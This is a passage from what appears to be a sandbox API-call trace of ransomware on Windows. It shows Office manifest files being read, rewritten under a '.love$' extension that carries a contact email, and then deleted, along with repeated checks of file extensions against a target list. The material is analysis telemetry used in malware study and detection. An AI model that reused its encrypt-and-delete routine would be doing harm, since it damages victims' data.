Office\\AppXManifest.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0108.655] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fc64 | out: lpNewFilePointer=0x0) returned 1 [0108.656] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fc24 | out: lpNewFilePointer=0x0) returned 1 [0108.656] ReadFile (in: hFile=0x374, lpBuffer=0x3c21058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x321fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c21058*, lpNumberOfBytesRead=0x321fc30*=0x40000, lpOverlapped=0x0) returned 1 [0109.368] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x321fc24 | out: lpNewFilePointer=0x0) returned 1 [0109.368] ReadFile (in: hFile=0x374, lpBuffer=0x3c61058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x321fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c61058*, lpNumberOfBytesRead=0x321fc30*=0x40000, lpOverlapped=0x0) returned 1 [0109.383] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x321fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.384] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x321fc24 | out: lpNewFilePointer=0x0) returned 1 [0109.384] ReadFile (in: hFile=0x374, lpBuffer=0x3ca1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x321fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ca1058*, lpNumberOfBytesRead=0x321fc30*=0x40000, lpOverlapped=0x0) returned 1 [0109.404] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.405] WriteFile (in: hFile=0x374, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x321fca8, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fca8*=0xc010c, lpOverlapped=0x0) returned 1 [0109.842] SetEndOfFile (hFile=0x374) returned 1 [0109.842] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f33ea8 [0110.121] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fc74 | out: lpNewFilePointer=0x0) returned 1 [0110.121] WriteFile (in: hFile=0x374, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x321fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x321fc80*=0x40000, lpOverlapped=0x0) returned 1 [0110.123] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x321fc74 | out: lpNewFilePointer=0x0) returned 1 [0110.123] WriteFile (in: hFile=0x374, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x321fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x321fc80*=0x40000, lpOverlapped=0x0) returned 1 [0110.131] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x321fc74 | out: lpNewFilePointer=0x0) returned 1 [0110.131] WriteFile (in: hFile=0x374, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x321fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x321fc80*=0x40000, lpOverlapped=0x0) returned 1 [0110.134] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0110.134] CloseHandle (hObject=0x374) returned 1 [0115.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0115.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.002] lstrlenW (lpString=".doc") returned 4 [0115.002] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.002] lstrlenW (lpString=".docx") returned 5 [0115.002] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0115.002] lstrlenW (lpString=".pdf") returned 4 [0115.002] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.002] lstrlenW (lpString=".xls") returned 4 [0115.002] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.002] lstrlenW (lpString=".xlsx") returned 5 [0115.002] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0115.002] lstrlenW (lpString=".ppt") returned 4 [0115.002] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.003] lstrlenW (lpString=".zip") returned 4 [0115.003] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.003] lstrlenW (lpString=".rar") returned 4 [0115.003] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.003] lstrlenW (lpString=".bz2") returned 4 [0115.003] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.003] lstrlenW (lpString=".7z") returned 3 [0115.003] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.003] lstrlenW (lpString=".dbf") returned 4 [0115.003] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.003] lstrlenW (lpString=".1cd") returned 4 [0115.003] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.003] lstrlenW (lpString=".jpg") returned 4 [0115.003] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.003] lstrlenW (lpString=".doc") returned 4 [0115.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.003] lstrlenW (lpString=".docx") returned 5 [0115.003] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0115.003] lstrlenW (lpString=".pdf") returned 4 [0115.003] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.003] lstrlenW (lpString=".xls") returned 4 [0115.003] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.003] lstrlenW (lpString=".xlsx") returned 5 [0115.003] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0115.003] lstrlenW (lpString=".ppt") returned 4 [0115.003] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.003] lstrlenW (lpString=".zip") returned 4 [0115.004] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.004] lstrlenW (lpString=".rar") returned 4 [0115.004] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.004] lstrlenW (lpString=".bz2") returned 4 [0115.004] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.004] lstrlenW (lpString=".7z") returned 3 [0115.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.004] lstrlenW (lpString=".dbf") returned 4 [0115.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.004] lstrlenW (lpString=".1cd") returned 4 [0115.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0115.004] lstrlenW (lpString=".jpg") returned 4 [0115.004] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.004] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0115.004] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0115.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0115.446] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=399528) returned 1 [0115.459] CloseHandle (hObject=0x2d8) returned 1 [0115.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0115.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0115.477] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.477] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0115.478] GetLastError () returned 0x0 [0115.478] ReadFile (in: hFile=0x2d8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x618a8, lpOverlapped=0x0) returned 1 [0115.495] WriteFile (in: hFile=0x2b8, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x618b0, lpOverlapped=0x0) returned 1 [0115.506] ReadFile (in: hFile=0x2d8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0115.506] WriteFile (in: hFile=0x2b8, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x13e, lpOverlapped=0x0) returned 1 [0115.507] SetEndOfFile (hFile=0x2b8) returned 1 [0115.507] CloseHandle (hObject=0x2b8) returned 1 [0116.657] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.658] SetEndOfFile (hFile=0x2d8) returned 1 [0116.662] CloseHandle (hObject=0x2d8) returned 1 [0116.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0116.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.663] lstrlenW (lpString=".doc") returned 4 [0116.663] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.663] lstrlenW (lpString=".docx") returned 5 [0116.663] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.663] lstrlenW (lpString=".pdf") returned 4 [0116.663] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.664] lstrlenW (lpString=".xls") returned 4 [0116.664] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.664] lstrlenW (lpString=".xlsx") returned 5 [0116.664] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.664] lstrlenW (lpString=".ppt") returned 4 [0116.664] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.664] lstrlenW (lpString=".zip") returned 4 [0116.664] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.664] lstrlenW (lpString=".rar") returned 4 [0116.664] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.664] lstrlenW (lpString=".bz2") returned 4 [0116.664] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.664] lstrlenW (lpString=".7z") returned 3 [0116.664] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.664] lstrlenW (lpString=".dbf") returned 4 [0116.664] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.664] lstrlenW (lpString=".1cd") returned 4 [0116.665] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.665] lstrlenW (lpString=".jpg") returned 4 [0116.665] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.665] lstrlenW (lpString=".doc") returned 4 [0116.665] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.665] lstrlenW (lpString=".docx") returned 5 [0116.665] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.665] lstrlenW (lpString=".pdf") returned 4 [0116.665] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.665] lstrlenW (lpString=".xls") returned 4 [0116.665] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.665] lstrlenW (lpString=".xlsx") returned 5 [0116.665] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.665] lstrlenW (lpString=".ppt") returned 4 [0116.665] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.665] lstrlenW (lpString=".zip") returned 4 [0116.665] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.665] lstrlenW (lpString=".rar") returned 4 [0116.665] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.665] lstrlenW (lpString=".bz2") returned 4 [0116.665] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.665] lstrlenW (lpString=".7z") returned 3 [0116.665] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.665] lstrlenW (lpString=".dbf") returned 4 [0116.666] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.666] lstrlenW (lpString=".1cd") returned 4 [0116.666] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0116.666] lstrlenW (lpString=".jpg") returned 4 [0116.666] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.666] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0116.666] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0116.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0116.666] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=9831) returned 1 [0116.667] CloseHandle (hObject=0x2d8) returned 1 [0116.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0116.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0116.667] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.667] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0116.668] GetLastError () returned 0x0 [0116.668] ReadFile (in: hFile=0x2d8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x2667, lpOverlapped=0x0) returned 1 [0116.671] WriteFile (in: hFile=0x2b8, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x2670, lpOverlapped=0x0) returned 1 [0116.672] ReadFile (in: hFile=0x2d8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.672] WriteFile (in: hFile=0x2b8, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x106, lpOverlapped=0x0) returned 1 [0116.672] SetEndOfFile (hFile=0x2b8) returned 1 [0116.673] CloseHandle (hObject=0x2b8) returned 1 [0116.675] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.675] SetEndOfFile (hFile=0x2d8) returned 1 [0116.676] CloseHandle (hObject=0x2d8) returned 1 [0116.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0116.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.677] lstrlenW (lpString=".doc") returned 4 [0116.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.677] lstrlenW (lpString=".docx") returned 5 [0116.677] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0116.677] lstrlenW (lpString=".pdf") returned 4 [0116.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.677] lstrlenW (lpString=".xls") returned 4 [0116.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.677] lstrlenW (lpString=".xlsx") returned 5 [0116.677] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0116.677] lstrlenW (lpString=".ppt") returned 4 [0116.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.677] lstrlenW (lpString=".zip") returned 4 [0116.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.677] lstrlenW (lpString=".rar") returned 4 [0116.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.677] lstrlenW (lpString=".bz2") returned 4 [0116.677] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.677] lstrlenW (lpString=".7z") returned 3 [0116.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.678] lstrlenW (lpString=".dbf") returned 4 [0116.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.678] lstrlenW (lpString=".1cd") returned 4 [0116.678] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.678] lstrlenW (lpString=".jpg") returned 4 [0116.678] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.678] lstrlenW (lpString=".doc") returned 4 [0116.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.678] lstrlenW (lpString=".docx") returned 5 [0116.678] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0116.678] lstrlenW (lpString=".pdf") returned 4 [0116.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.678] lstrlenW (lpString=".xls") returned 4 [0116.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.678] lstrlenW (lpString=".xlsx") returned 5 [0116.678] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0116.678] lstrlenW (lpString=".ppt") returned 4 [0116.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.678] lstrlenW (lpString=".zip") returned 4 [0116.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.678] lstrlenW (lpString=".rar") returned 4 [0116.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.678] lstrlenW (lpString=".bz2") returned 4 [0116.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.678] lstrlenW (lpString=".7z") returned 3 [0116.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.679] lstrlenW (lpString=".dbf") returned 4 [0116.679] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.679] lstrlenW (lpString=".1cd") returned 4 [0116.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0116.679] lstrlenW (lpString=".jpg") returned 4 [0116.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.679] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0116.679] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0116.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 